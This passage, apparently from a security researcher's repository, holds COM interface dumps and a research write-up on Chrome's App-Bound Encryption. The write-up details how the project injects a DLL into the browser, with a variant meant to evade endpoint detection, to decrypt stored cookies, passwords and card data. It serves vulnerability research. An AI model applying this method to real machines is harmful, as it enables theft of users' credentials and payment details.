'caller_proc_id': VT_UI4 (DWORD/ULONG) (Flags: in) 405 | [5] 'proc_handle': POINTER_TO(ULONG_PTR) (Flags: out) 406 | [1] Method: EncryptData 407 | VTable Slot (absolute in COM object): 7 (Offset: 56 bytes from IFace start) 408 | Member ID: 1610743809, Invoke Kind: 1, CallConv: 4, FuncFlags: 0 409 | Return Type: VT_HRESULT 410 | Parameters (4): 411 | [0] 'protection_level': ProtectionLevel (Flags: in) 412 | [1] 'plaintext': VT_BSTR (Flags: in) 413 | [2] 'ciphertext': POINTER_TO(VT_BSTR) (Flags: out) 414 | [3] 'last_error': POINTER_TO(VT_UI4 (DWORD/ULONG)) (Flags: out) 415 | [2] Method: DecryptData 416 | VTable Slot (absolute in COM object): 8 (Offset: 64 bytes from IFace start) 417 | Member ID: 1610743810, Invoke Kind: 1, CallConv: 4, FuncFlags: 0 418 | Return Type: VT_HRESULT 419 | Parameters (3): 420 | [0] 'ciphertext': VT_BSTR (Flags: in) 421 | [1] 'plaintext': POINTER_TO(VT_BSTR) (Flags: out) 422 | [2] 'last_error': POINTER_TO(VT_UI4 (DWORD/ULONG)) (Flags: out) 423 | ``` -------------------------------------------------------------------------------- /docs/RESEARCH.md: -------------------------------------------------------------------------------- 1 | # Chrome App-Bound Encryption (ABE) - Technical Deep Dive & Research Notes 2 | 3 | **Project:** [Chrome App-Bound Encryption Decryption](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/) 4 | **Author:** Alexander 'xaitax' Hagenah 5 | **Last Updated:** 12 May 2025 6 | 7 | Based on my project's v0.7.0 analysis, incorporating insights from Google's ABE design documents, public announcements, Chromium source code, and related security research. 8 | 9 | **Table of Contents** 10 | 11 | - [1. Introduction: The Evolution of Local Data Protection in Chrome](#1-introduction-the-evolution-of-local-data-protection-in-chrome) 12 | - [1.1. Core Tenets of ABE (as per Google's Design)](#11-core-tenets-of-abe-as-per-googles-design) 13 | - [2. The ABE Mechanism: A Step-by-Step Breakdown](#2-the-abe-mechanism-a-step-by-step-breakdown) 14 | - [3. Circumventing ABE Path Validation: The `chrome-inject` Strategy](#3-circumventing-abe-path-validation-the-chrome-inject-strategy) 15 | - [3.1. The Methodology](#31-the-methodology) 16 | - [3.2. Operational Context: User-Mode, No Administrative Rights Required](#32-operational-context-user-mode-no-administrative-rights-required) 17 | - [4. Dissecting Encrypted Data Structures](#4-dissecting-encrypted-data-structures) 18 | - [4.1. `Local State` and the `app_bound_encrypted_key`](#41-local-state-and-the-app_bound_encrypted_key) 19 | - [4.2. AES-GCM Blob Format (Cookies, Passwords, Payments, etc.)](#42-aes-gcm-blob-format-cookies-passwords-payments-etc) 20 | - [4.3. Cookie Value Specifics (from `encrypted_value` in `Cookies` DB)](#43-cookie-value-specifics-from-encrypted_value-in-cookies-db) 21 | - [4.4. Passwords (from `password_value` in `Login Data` DB) & Payment Information](#44-passwords-from-password_value-in-login-data-db--payment-information) 22 | - [5. Alternative Decryption Vectors & Chrome's Evolving Defenses](#5-alternative-decryption-vectors--chromes-evolving-defenses) 23 | - [5.1. Administrator-Level Decryption (e.g., `runassu/chrome_v20_decryption` PoC)](#51-administrator-level-decryption-eg-runassuchrome_v20_decryption-poc) 24 | - [5.2. Remote Debugging Port (`--remote-debugging-port`) and Its Mitigation](#52-remote-debugging-port---remote-debugging-port-and-its-mitigation) 25 | - [5.3. Device Bound Session Credentials (DBSC)](#53-device-bound-session-credentials-dbsc) 26 | - [6. Key Insights from Google's ABE Design Document & Chromium Source Code](#6-key-insights-from-googles-abe-design-document--chromium-source-code) 27 | - [7. Operational Considerations and Limitations of this tool](#7-operational-considerations-and-limitations-of-this-tool) 28 | - [7.1. Browser Process Termination (`KillBrowserProcesses`)](#71-browser-process-termination-killbrowserprocesses) 29 | - [7.2. Multi-Profile Support](#72-multi-profile-support) 30 | - [7.3. Roaming Profiles and Enterprise Environments](#73-roaming-profiles-and-enterprise-environments) 31 | - [8. Conclusion and Future Directions for ABE Research](#8-conclusion-and-future-directions-for-abe-research) 32 | - [9. References and Further Reading](#9-references-and-further-reading) 33 | 34 | --- 35 | 36 | ## 1. Introduction: The Evolution of Local Data Protection in Chrome 37 | 38 | For years, Chromium-based browsers on Windows relied on the **Data Protection API (DPAPI)** to secure sensitive user data stored locally such as cookies, passwords, payment information, and the like. DPAPI binds data to the logged-in user's credentials, offering a solid baseline against offline attacks (e.g., a stolen hard drive) and unauthorized access by other users on the same machine. However, DPAPI's Achilles' heel has always been its permissiveness within the user's own session: _any application running as the same user, with the same privilege level as Chrome, can invoke `CryptUnprotectData` and decrypt this data._ This vulnerability has been a perennial favorite for infostealer malware. 39 | 40 | To counter this, Google introduced **App-Bound Encryption (ABE)** in Chrome (publicly announced around version 127, July 2024). ABE is a significant architectural shift designed to dramatically raise the bar for attackers. Its core principle is to ensure that the primary decryption keys for sensitive Chrome data are only accessible to legitimate Chrome processes, thereby mitigating trivial data theft by same-user, same-privilege malware. 41 | 42 | ### 1.1. Core Tenets of ABE (as per Google's Design) 43 | 44 | - **Primary Goal:** Prevent an attacker operating with the _same privilege level as Chrome_ from trivially calling DPAPI to decrypt sensitive data. 45 | - **Acknowledged Limitations (Non-Goals):** ABE does not aim to prevent attackers with _higher privileges_ (Administrator, SYSTEM, kernel drivers) or those who can successfully _inject code into Chrome_. The official Google design documents explicitly recognize code injection as a potent bypass vector, a technique this project leverages for legitimate research and data recovery demonstrations. 46 | - **Underlying Mechanism:** ABE introduces an intermediary COM service (part of Chrome's Elevation Service) that acts as a gatekeeper for the DPAPI-unwrapping of a critical session key. This service verifies the "app identity" of the caller. 47 | - **Initial Identity Verification Method:** The first iteration relies on **path validation** of the calling executable. While digital signature validation was considered, path validation was chosen for the initial rollout to "descope the complexity" (as noted in a 2024 update to Google's design document), deemed sufficient against the immediate threat model. 48 | 49 | Google's conceptual diagram provides a clear overview: 50 | 51 | ![Google's ABE Diagram](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpjkAClX2VvgsIhLi2zAmvRwVMPEeJqUhqisKHIKxbfGAwh8p8-V7Ixct5azzn_jYfJYo2izWnGcbkVh3cabbCLVQQQsJAJagvFPCFJsx4MibauJqnLVymQYdhdGGc53q3wSJSeTPQ6vyxXosJ-tJRKuaaoV7_J_E2KB9glSZ1m3NSEwEBj-duevgROHlM/s1416/Screenshot%202024-07-26%202.15.06%20PM.png) 52 | _(Image: Google's conceptual diagram of App-Bound Encryption, illustrating the privileged service gating key access.)_ 53 | 54 | ## 2. The ABE Mechanism: A Step-by-Step Breakdown 55 | 56 | ABE employs a multi-layered strategy for key management and data encryption: 57 | 58 | 1. **The `app_bound_key` (Session Key):** 59 | 60 | - A unique 32-byte AES-256 key is the target plaintext that applications like Chrome's `OSCrypt` use. 61 | - This key is what this project aims to recover for subsequent data decryption. 62 | 63 | 2. **Generation of `validation_data` and `app_bound_key` Wrapping (During Encryption by Chrome):** 64 | 65 | - When Chrome (via `OSCrypt`) needs to protect the `app_bound_key` using ABE, it calls the `IElevator::EncryptData` COM method. 66 | - **Caller Validation Data Generation:** Inside `IElevator::EncryptData`, the service first generates `validation_data`. If `ProtectionLevel::PROTECTION_PATH_VALIDATION` is specified, this involves: 67 | - Obtaining the calling process's executable path (`GetProcessExecutablePath`). 68 | - Normalizing this path using a specific routine (`MaybeTrimProcessPath`), which removes the .exe name, common temporary/application subfolders (like "Application", "Temp", version strings), and standardizes "Program Files (x86)" to "Program Files". This results in a canonical base installation path. 69 | - This normalized path string (UTF-8 encoded) becomes the core of the `validation_data`. The `ProtectionLevel` itself is also prepended to this data. 70 | - **Payload Construction:** The `validation_data` (with its length) is prepended to the plaintext `app_bound_key` (also with its length). This forms the `data_to_encrypt`. 71 | - **User-Context DPAPI Encryption:** This `data_to_encrypt` blob is then encrypted using `CryptProtectData` under the calling user's DPAPI context (achieved via `ScopedClientImpersonation`). 72 | - **System-Context DPAPI Encryption (Outer Layer):** The result from the user-context DPAPI encryption is then encrypted _again_ using `CryptProtectData`, this time under the SYSTEM DPAPI context (or the service's own context if not explicitly SYSTEM). This creates a "DPAPI-ception" or layered DPAPI protection. 73 | - This doubly DPAPI-wrapped blob is what `IElevator::EncryptData` returns as the `ciphertext` BSTR. 74 | 75 | 3. **Storage in `Local State`:** 76 | 77 | - The `ciphertext` BSTR received from `IElevator::EncryptData` is Base64-encoded. 78 | - The prefix **`APPB`** (ASCII: `0x41 0x50 0x50 0x42`) is prepended. 79 | - This final string is stored in `Local State` as `os_crypt.app_bound_encrypted_key`. 80 | 81 | 4. **The `IElevator` COM Service (The Gatekeeper for Decryption):** 82 | 83 | - When Chrome (or this project's injected DLL) needs the plaintext `app_bound_key`: 84 | - It instantiates the `IElevator` COM object using browser-specific CLSIDs/IIDs: 85 | - **Google Chrome:** CLSID: `{708860E0-F641-4611-8895-7D867DD3675B}`, IID: `{463ABECF-410D-407F-8AF5-0DF35A005CC8}` 86 | - **Brave Browser:** CLSID: `{576B31AF-6369-4B6B-8560-E4B203A97A8B}`, IID: `{F396861E-0C8E-4C71-8256-2FAE6D759C9E}` 87 | - The `APPB`-prefixed, Base64-encoded string from `Local State` is decoded and the `APPB` prefix stripped. This resulting blob (the doubly DPAPI-wrapped key) is passed to `IElevator::DecryptData`. 88 | 89 | 5. **Unwrapping and Path Validation by `IElevator::DecryptData`:** 90 | 91 | - **System-Context DPAPI Decryption:** The input blob is first decrypted using `CryptUnprotectData` under the SYSTEM DPAPI context. This removes the outer DPAPI layer. 92 | - **User-Context DPAPI Decryption:** The intermediate result is then decrypted using `CryptUnprotectData` under the _calling user's_ DPAPI context (via `ScopedClientImpersonation`). This removes the inner DPAPI layer, yielding a plaintext blob. 93 | - **Extraction of Validation Data and Plaintext Key:** This plaintext blob is structured as `[validation_data_length][validation_data][app_bound_key_length][app_bound_key]`. The service uses `PopFromStringFront` to extract the original `validation_data` and then the `app_bound_key`. 94 | - **Path Validation:** The extracted `validation_data` (containing the original encrypting process's normalized path and `ProtectionLevel`) is then validated against the _current calling process_. The service gets the current caller's path, normalizes it using the same `MaybeTrimProcessPath` logic, and compares it. 95 | - If path validation passes, `IElevator::DecryptData` returns the extracted plaintext 32-byte `app_bound_key`. 96 | 97 | 6. **Data Encryption/Decryption using the `app_bound_key`:** 98 | - Chrome's `OSCrypt` (or this project's DLL) then uses this recovered 32-byte AES key with AES-256-GCM to encrypt/decrypt actual user data (cookies, passwords), which are typically prefixed (e.g., `v20`). 99 | 100 | ## 3. Circumventing ABE Path Validation: The `chrome-inject` Strategy 101 | 102 | The `chrome_inject.exe` and `chrome_decrypt.dll` tools developed in this project effectively bypass ABE's path validation by orchestrating the sensitive COM calls to `IElevator::DecryptData` to execute _from within the legitimate browser's own process space_. This approach aligns with the "Weaknesses" section of Google's ABE design document (Page 7), which explicitly notes: _"An attacker could inject code into Chrome browser and call the IPC interface."_ This project implements such a technique, not for malicious purposes, but for security research, data recovery exploration, and, for me, as a fascinating practical learning exercise in Windows internals, COM, and process manipulation. 103 | 104 | ### 3.1. The Methodology 105 | 106 | - **Injector (`chrome_inject.exe`):** 107 | 108 | 1. **Target Process Acquisition:** Identifies a running instance of the target Chromium-based browser (Chrome, Edge, Brave). It can also auto-start the browser if specified. 109 | 2. **Architectural Consistency:** Critically ensures that the injector and target process architectures align (e.g., x64 injector for x64 Chrome, ARM64 for ARM64 Chrome). 110 | 3. **DLL Path Marshalling:** Allocates memory within the target browser process's address space (`VirtualAllocEx`) and carefully writes the full path string of `chrome_decrypt.dll` into this remote memory (`WriteProcessMemory`). 111 | 4. **Remote Thread Execution:** Creates a new thread within the target process. The entry point for this new thread is the address of `LoadLibraryA` (from `kernel32.dll`), and its sole argument is the remote memory address where the DLL path string was written. 112 | - This project offers two distinct injection methods: 113 | - `CreateRemoteThread`: The standard, well-documented WinAPI function. 114 | - `NtCreateThreadEx`: A lower-level, less commonly monitored API residing in `ntdll.dll`, potentially offering a degree of stealth against some endpoint detection and response (EDR) solutions. 115 | 5. **Synchronization:** Employs a named event (`Global\ChromeDecryptWorkDoneEvent`) to pause execution and await a signal from the injected DLL indicating that its operations have concluded. 116 | 117 | - **Injected Payload (`chrome_decrypt.dll`):** 118 | 1. **Trusted Execution Context:** When `LoadLibraryA` is invoked within the remote thread, the `DllMain` function of `chrome_decrypt.dll` (specifically, the `DLL_PROCESS_ATTACH` case) is executed. At this pivotal moment, the DLL's code is running with the full identity and, crucially, the _executable path context_ of the host browser process (e.g., `chrome.exe`). This inherently satisfies the `IElevator` path validation check. 119 | 2. **Dedicated Worker Thread:** To avoid blocking `DllMain` (which can lead to deadlocks and instability) and to allow `LoadLibraryA` to return promptly (signaling successful injection to the injector), `DllMain` spawns a new, dedicated worker thread. This worker thread undertakes all subsequent COM interactions and decryption tasks. The DLL's original module handle (`HMODULE`) is passed to this worker thread, enabling it to call `FreeLibraryAndExitThread` upon completion for a clean self-unload. 120 | 3. **COM Initialization & Security Configuration:** 121 | - The worker thread initializes the COM library for its use via `CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)`. 122 | - It then instantiates the `IElevator` COM object using `CoCreateInstance`, providing the browser-specific CLSID and IID. 123 | - To ensure correct security context propagation for the COM calls, `CoSetProxyBlanket` is invoked on the `IElevator` proxy. This project uses `RPC_C_AUTHN_LEVEL_PKT_PRIVACY`, `RPC_C_IMP_LEVEL_IMPERSONATE`, and `EOAC_DYNAMIC_CLOAKING`. 124 | 4. **Retrieving and Unwrapping the `app_bound_key`:** 125 | - The DLL reads the `Local State` JSON file from the appropriate user data directory. 126 | - It parses the JSON to locate the `os_crypt.app_bound_encrypted_key` value. 127 | - This value is Base64-decoded, and the `APPB` prefix is stripped, yielding the raw DPAPI-wrapped blob. 128 | - This blob is then passed to the `IElevator::DecryptData` method. 129 | 5. **Data Decryption and Output:** 130 | - If the `IElevator::DecryptData` call succeeds, the returned plaintext 32-byte AES key is the `app_bound_key`. 131 | - This key is then used with Windows Cryptography API: Next Generation (CNG) functions (specifically `BCrypt*` for AES-GCM) to decrypt sensitive data retrieved from the browser's SQLite databases (Cookies, Login Data, Web Data). 132 | - The decrypted data items are formatted into JSON and written to separate files in the user's `%TEMP%` directory. 133 | - For research and verification, the plaintext `app_bound_key` (in hexadecimal format) is saved to `%TEMP%\chrome_appbound_key.txt`. 134 | - A detailed operational log is also generated and saved to `%TEMP%\chrome_decrypt.log`. 135 | 6. **Signaling Completion and Resource Cleanup:** The worker thread signals the `Global\ChromeDecryptWorkDoneEvent` named event, uninitializes COM via `CoUninitialize`, and then calls `FreeLibraryAndExitThread` to unload the DLL from the browser's process space. 136 | 137 | ### 3.2. Operational Context: User-Mode, No Administrative Rights Required 138 | 139 | A key characteristic of this project's methodology is that it operates entirely in **user mode** and **does not require administrative privileges**. This is possible because: 140 | 141 | - The `IElevator` COM server, while part of an "Elevation Service," performs the decryption relevant to user data by impersonating the user and leveraging the user's DPAPI context. The "privileged" nature of the service (as depicted in Google's diagram where it runs as SYSTEM) primarily pertains to its role as a gatekeeper for DPAPI access and its ability to validate callers, not necessarily that the decryption task for user keys itself requires SYSTEM-level rights. 142 | - DLL injection into another process running as the _same user_ typically does not necessitate administrative elevation. 143 | - All file system access (for `Local State`, SQLite databases) targets locations within the user's own profile, which are accessible without elevated rights. 144 | 145 | ## 4. Dissecting Encrypted Data Structures 146 | 147 | ### 4.1. `Local State` and the `app_bound_encrypted_key` 148 | 149 | - **Typical Location:** `%LOCALAPPDATA%\\\User Data\Local State` (e.g., `Google\Chrome\User Data\Local State`). 150 | - **Relevant JSON Key:** `os_crypt.app_bound_encrypted_key`. 151 | - **Format:** A string value: `"APPB"`. 152 | 153 | ### 4.2. AES-GCM Blob Format (Cookies, Passwords, Payments, etc.) 154 | 155 | Data items encrypted with the `app_bound_key` generally adhere to a consistent format: 156 | 157 | 1. **Prefix:** A version or type prefix string. For cookies, passwords, and payment data observed thus far, this is typically **`v20`** (ASCII: `0x76 0x32 0x30`). Older data encrypted solely with DPAPI might use prefixes like `v10` or `v11`. 158 | 2. **Nonce (IV):** A 12-byte Initialization Vector, essential for the security of AES-GCM mode. 159 | 3. **Ciphertext:** The actual encrypted data, variable in length. 160 | 4. **Authentication Tag:** A 16-byte GCM authentication tag, which ensures both the integrity and authenticity of the decrypted ciphertext. 161 | 162 | **Overall Blob Structure:** `[Prefix (e.g., 3 bytes for "v20")][IV (12 bytes)][Ciphertext (variable length)][Tag (16 bytes)]` 163 | 164 | ### 4.3. Cookie Value Specifics (from `encrypted_value` in `Cookies` DB) 165 | 166 | - A notable observation during the development of this tool is that after successfully decrypting a `v20`-prefixed cookie blob using AES-GCM with the `app_bound_key`, the first **32 bytes** of the resulting plaintext appear to be some form of metadata or padding. The actual cookie value string begins after this `DECRYPTED_COOKIE_VALUE_OFFSET` of 32 bytes. 167 | 168 | ### 4.4. Passwords (from `password_value` in `Login Data` DB) & Payment Information 169 | 170 | - These data types also use `v20`-prefixed blobs. 171 | - Unlike cookies, the entire decrypted plaintext (after accounting for the `v20` prefix, IV, and tag during the AES-GCM decryption process) is generally considered to be the sensitive value itself (e.g., the password string, credit card number, or CVC). 172 | 173 | ## 5. Alternative Decryption Vectors & Chrome's Evolving Defenses 174 | 175 | ### 5.1. Administrator-Level Decryption (e.g., `runassu/chrome_v20_decryption` PoC) 176 | 177 | The proof-of-concept by `runassu` illustrates that if an attacker possesses **Administrator privileges**, the `app_bound_key` can potentially be decrypted. This aligns with ABE's stated non-goal of protecting against higher-privilege attackers. 178 | 179 | 1. The PoC's description of needing to decrypt the `app_bound_encrypted_key` from `Local State` first with SYSTEM DPAPI, then user DPAPI, **directly matches** the initial steps within the legitimate `IElevator::DecryptData` function as seen in `elevator.cc`. An administrator can perform these steps outside of the `IElevator` service. 180 | 2. After these two DPAPI unwrap steps, the result would be the `[validation_data_length][validation_data][app_bound_key_length][app_bound_key]` plaintext. An admin tool could then simply parse this structure to extract the `app_bound_key` directly, without needing to perform path validation. 181 | 3. The `runassu` PoC's claim that this result is "*not* the final `app_bound_key`" and requires a *further* AES-GCM decryption with a key hardcoded in `elevation_service.exe` is intriguing. 182 | * This additional layer is **not** part of the standard `IElevator::DecryptData` flow for returning the `app_bound_key` to `OSCrypt`, as evidenced by `elevator.cc`. The `plaintext_str` returned by `IElevator::DecryptData` *is* the application-level key. 183 | * The PoC's extra step might be attempting to decrypt data that has undergone an additional, internal transformation within Chrome, possibly related to the `PreProcessData`/`PostProcessData` functions seen in `elevator.cc` (conditionally compiled with `BUILDFLAG(GOOGLE_CHROME_BRANDING)`). These functions might apply another layer of encryption using a service-internal key for specific branded builds or key versions. 184 | * Alternatively, the PoC might be targeting a different internal key or an older/variant ABE scheme. 185 | 186 | - **Hardcoded Keys in `elevation_service.exe`:** The presence of hardcoded keys in `elevation_service.exe` (as mentioned by the PoC for ChaCha20_Poly1305 or AES-256-GCM) would most likely be for such internal service operations or specific recovery mechanisms, rather than the primary ABE flow that returns the key to `OSCrypt`. 187 | - **Stability Concerns:** Relying on such internal administrator-level method, undocumented layers and hardcoded keys is highly unstable and prone to break with Chrome updates. The method employed by this project (injecting and calling the official `IElevator::DecryptData` COM interface) is more aligned with the intended client interaction path and thus inherently more stable, despite the injection vector. 188 | 189 | ### 5.2. Remote Debugging Port (`--remote-debugging-port`) and Its Mitigation 190 | 191 | Attackers had also turned to Chrome's remote debugging capabilities as a vector to exfiltrate cookies, effectively sidestepping ABE's file-based protections. 192 | 193 | - **Chrome's Countermeasure (Chrome 136+):** As detailed in a Chrome Developers blog post, Google addressed this by changing the behavior of the `--remote-debugging-port` and `--remote-debugging-pipe` command-line switches. Starting with Chrome 136, these switches will no longer function when Chrome is launched with its default user data directory. To enable remote debugging, users must now also specify the `--user-data-dir` switch, pointing Chrome to a _non-standard, separate_ data directory. This ensures that any debugging session operates on an isolated profile, using a different encryption key, thereby safeguarding the user's primary profile data. 194 | - **Bypass Simplicity:** While this change adds a hurdle, it's worth noting that an attacker _can_ control Chrome's launch parameters (e.g., by modifying shortcuts or through malware that relaunches Chrome), they could potentially still launch Chrome with both `--remote-debugging-port` and a temporary `--user-data-dir`, then attempt to import or access data if Chrome allows such operations into a fresh, debuggable profile. The effectiveness of the debug port mitigation hinges on preventing unauthorized modification of launch parameters and on Chrome's policies regarding data access in such scenarios. 195 | 196 | ### 5.3. Device Bound Session Credentials (DBSC) 197 | 198 | As an overlapping and complementary security effort, Google has been developing **Device Bound Session Credentials (DBSC)**, available for Origin Trial in Chrome 135. DBSC aims to combat cookie theft by cryptographically binding session cookies to the device. 199 | 200 | - **Mechanism:** When a DBSC session is initiated, the browser generates a public-private key pair, storing the private key securely (ideally using hardware like a TPM). The server associates the session with the public key. Periodically, the browser proves possession of the private key to refresh the (typically short-lived) session cookie. 201 | - **Relevance to ABE:** While ABE protects data at rest on the user's device, DBSC focuses on making stolen session cookies useless if exfiltrated and used on another device. They are two distinct but synergistic layers of defense against session hijacking. An attacker bypassing ABE to get cookies might still find those cookies unusable elsewhere if they are DBSC-protected. 202 | 203 | ## 6. Key Insights from Google's ABE Design Document & Chromium Source Code 204 | 205 | Insights from Google's design documents and the Chromium source code (`elevator.h`, `elevator.cc`, `caller_validation.h`, `caller_validation.cc`) provide a comprehensive understanding: 206 | 207 | - **Original Intent vs. Implemented Reality (Path vs. Signature Validation):** The initial proposal (Page 4 of the design doc) contemplated validating the _digital signature_ of both the calling process and the `IElevator` service executable. However, an "Update (2024)" note clarifies that the project was descoped to use **path validation** for the initial implementation, primarily for simplicity, with the assessment that it offered "equivalent protection against a non-admin attacker" for the prevailing threat models at the time. 208 | - **`OSCrypt` Module Modifications:** The core `components/os_crypt` module within Chromium was slated to be augmented. Instead of making direct DPAPI calls, it would use new IPC mechanisms to communicate with the Elevation Service (Pages 2, 5). The design proposed that `OSCrypt` would iterate through a list of "key encryption delegates" - one for legacy DPAPI keys, another for ABE-protected keys via IPC - to find a delegate capable of decrypting a given key (Page 6). 209 | - **Stateless Nature of the Service:** The `IElevator` service, in its role for ABE, is designed as a largely stateless encrypt/decrypt primitive. It doesn't require its own persistent storage for ABE operations (Page 4). 210 | - **Explicit Acknowledgment of Injection as a Bypass:** Page 7 ("Weaknesses") of the design document candidly states: _"An attacker could inject code into Chrome browser and call the IPC interface. It would be hard to defeat a determined attacker using this technique..."_ This project serves as a practical validation of this assessment. 211 | - **Understanding the `IElevator` COM Interface and its Definition:** 212 | - The `IElevator` interface is a standard Windows **COM (Component Object Model)** interface. Such interfaces define a contract between a service provider (like Chrome's Elevation Service) and a client (like Chrome's `OSCrypt` module, or in this project's case, the injected `chrome_decrypt.dll`). 213 | - This contract is formally specified using **MIDL (Microsoft Interface Definition Language)**. An `.idl` file written in MIDL describes the methods, parameters, and data types. The MIDL compiler processes this `.idl` file to generate C/C++ header files (defining the interface structure for compilers) and a type library (`.tlb`) that describes the interface's binary layout. It also generates proxy/stub code that enables COM to transparently manage communication between the client and server, even if they are in different processes. 214 | - While this project's `chrome_decrypt.dll` contains a C++ stub for `IElevator` (using the `MIDL_INTERFACE` macro), this serves as a compile-time declaration of the interface's shape. The crucial elements for runtime interaction are the correct CLSID (to identify the COM component) and IID (to request the specific `IElevator` interface pointer) passed to `CoCreateInstance`. 215 | - The `IElevator` interface, as potentially defined by Chrome, would include methods like `EncryptData` and `DecryptData`. An illustrative C++ stub, similar to what's in `chrome_decrypt.cpp`, is: 216 | ```cpp 217 | // Illustrative C++ MIDL_INTERFACE definition stub from chrome_decrypt.cpp 218 | MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") 219 | IElevator : public IUnknown 220 | { 221 | public: 222 | // Method for Chrome's recovery mechanisms, not directly used for decryption by this tool. 223 | virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated( 224 | const WCHAR *crx_path, const WCHAR *browser_appid, /* ...other params... */) = 0; 225 | 226 | // Method used by Chrome to initially encrypt the app_bound_key. 227 | virtual HRESULT STDMETHODCALLTYPE EncryptData( 228 | ProtectionLevel protection_level, // Specifies the type of protection to apply 229 | const BSTR plaintext, 230 | BSTR *ciphertext, 231 | DWORD *last_error) = 0; 232 | 233 | // The key method utilized by this tool to decrypt the app_bound_key. 234 | virtual HRESULT STDMETHODCALLTYPE DecryptData( 235 | const BSTR ciphertext, // DPAPI-wrapped app_bound_key blob from Local State 236 | BSTR *plaintext, // Output: raw 32-byte app_bound_key 237 | DWORD *last_error) = 0; // Propagates underlying errors (e.g., from DPAPI) 238 | }; 239 | ``` 240 | - The `EncryptData` method, though not called by this decryption tool, would likely use an enum like `ProtectionLevel` to dictate the security measures applied during the encryption of the `app_bound_key`. This project includes such an enum in `chrome_decrypt.cpp`: 241 | ```cpp 242 | // From elevation_service_idl.h (implicitly, via project's chrome_decrypt.cpp stub) 243 | enum class ProtectionLevel // As used by IElevator 244 | { 245 | PROTECTION_NONE = 0, 246 | PROTECTION_PATH_VALIDATION_OLD = 1, // An older path validation scheme 247 | PROTECTION_PATH_VALIDATION = 2, // The ABE path validation relevant to this research 248 | PROTECTION_MAX = 3 // Boundary for valid levels 249 | }; 250 | ``` 251 | - By specifying `ProtectionLevel::PROTECTION_PATH_VALIDATION` during the `EncryptData` call, Chrome instructs the `IElevator` service to enforce the path validation check when creating the `app_bound_encrypted_key`. The `DecryptData` method, subsequently used by this tool, implicitly respects the protection level that was originally applied during encryption. 252 | - The `IElevator::EncryptData` method, when called by Chrome with `ProtectionLevel::PROTECTION_PATH_VALIDATION`, generates caller-specific `validation_data` (based on the normalized path of Chrome itself), prepends this to the actual `app_bound_key`, and then encrypts this combined payload twice with DPAPI (first user-context, then system-context). 253 | - The `IElevator::DecryptData` method reverses this: decrypts twice with DPAPI (first system-context, then user-context), extracts the `validation_data` and the `app_bound_key`, performs path validation using the extracted `validation_data` against the current caller, and returns the `app_bound_key` if valid. This project's tool correctly utilizes this returned key. 254 | - **Path Normalization (`MaybeTrimProcessPath` in `caller_validation.cc`):** A critical detail for `ProtectionLevel::PROTECTION_PATH_VALIDATION` is that the validation does not use the raw executable path. Instead, `MaybeTrimProcessPath` normalizes it by: 255 | 1. Removing the executable filename (e.g., `chrome.exe`). 256 | 2. Conditionally removing trailing directory components if they match "Temp", "Application", or a version string (e.g., `127.0.0.0`). 257 | 3. Standardizing `Program Files (x86)` to `Program Files`. 258 | This ensures that different Chrome versions or temporary unpack locations within the same sanctioned base installation directory can still validate successfully. 259 | 260 | ## 7. Operational Considerations and Limitations of this tool 261 | 262 | ### 7.1. Browser Process Termination (`KillBrowserProcesses`) 263 | 264 | The `chrome_decrypt.dll` currently includes logic to terminate existing browser processes of the target type before proceeding. 265 | 266 | - **Rationale:** This is primarily to ensure that SQLite database files (`Cookies`, `Login Data`, `Web Data`) are not locked by live browser instances and that the `IElevator` COM server can initialize in a clean state, potentially avoiding conflicts or issues if existing browser instances have the service in an unusual state. 267 | - **User Impact:** This is a disruptive action. Future enhancements to this tool could explore less intrusive methods, such as attempting to copy the database files to a temporary location and operating on those copies, or implementing a more conditional termination strategy (e.g., only if initial COM instantiation or DB access fails). 268 | 269 | ### 7.2. Multi-Profile Support 270 | 271 | Currently, this tool primarily targets the `Default` user profile within the browser's user data directory. Comprehensive support for environments with multiple Chrome profiles would involve: 272 | 273 | 1. Enumerating all active profile directories (e.g., `Profile 1`, `Profile 2`, etc.) within the main `User Data` folder. 274 | 2. Applying the (likely single, shared per `User Data` instance) `app_bound_key` to decrypt data from each profile's respective SQLite databases, as the key is tied to the overall user data directory, not individual sub-profiles. 275 | 276 | ### 7.3. Roaming Profiles and Enterprise Environments 277 | 278 | Google's public communications on ABE explicitly state that it "will not function correctly in environments where Chrome profiles roam between multiple machines." This is because the underlying DPAPI protection for the `app_bound_key` is inherently machine-bound (and user-bound). If an enterprise requires support for roaming profiles, they are encouraged to follow existing best practices. For scenarios where ABE might cause incompatibility, Chrome provides the `ApplicationBoundEncryptionEnabled` enterprise policy to configure or disable this feature. 279 | 280 | ## 8. Conclusion and Future Directions for ABE Research 281 | 282 | App-Bound Encryption marks a commendable and significant enhancement in securing locally stored Chrome data on the Windows platform. By fundamentally tying decryption capabilities to a path-validated COM service, Google has effectively "moved the goalposts" for attackers, compelling them to resort to either privilege escalation or code injection into Chrome itself - both of which are generally "noisier" and more readily detectable actions than straightforward, unprivileged DPAPI calls. 283 | 284 | This project, through its implementation of a user-mode DLL injection technique, serves multiple purposes: 285 | 286 | 1. It provides a practical, working demonstration of the bypass vector that Google's own design documents acknowledged. 287 | 2. It functions as a valuable tool for legitimate data recovery scenarios and for security researchers aiming to understand ABE's intricacies. 288 | 3. It stands as a reference implementation for interacting with the ABE system from within the trusted browser context. 289 | 290 | The ongoing evolution of Chrome and its security mechanisms means that ABE research will remain a dynamic field. Future areas of focus will likely include: 291 | 292 | - **Monitoring the `IElevator` service:** Tracking any changes to its CLSIDs, IIDs, interface methods, or the core validation logic (e.g., a potential future shift from path validation to digital signature validation, as originally contemplated). 293 | - **Deep Analysis of Undocumented Structures:** Further reverse engineering efforts to understand elements like the 32-byte prefix observed in decrypted cookie plaintext. 294 | - **Chrome's Detection and Mitigation of Injection Techniques:** As Google and security vendors work to make code injection "more detectable," understanding these evolving detection strategies and their impact will be crucial. 295 | - **Impact of Further OS-Level Hardening:** Investigating how improvements in Windows process integrity, application isolation primitives, or EDR technologies might affect ABE and bypass techniques. 296 | 297 | The landscape of browser security is one of constant flux. App-Bound Encryption is a critical new defensive layer, and the continued efforts of the research community will be essential for a comprehensive understanding of its strengths, its limitations, and its trajectory in the face of ever-adapting threats. 298 | 299 | ## 9. References and Further Reading 300 | 301 | - **Google Security Blog:** [Improving the security of Chrome cookies on 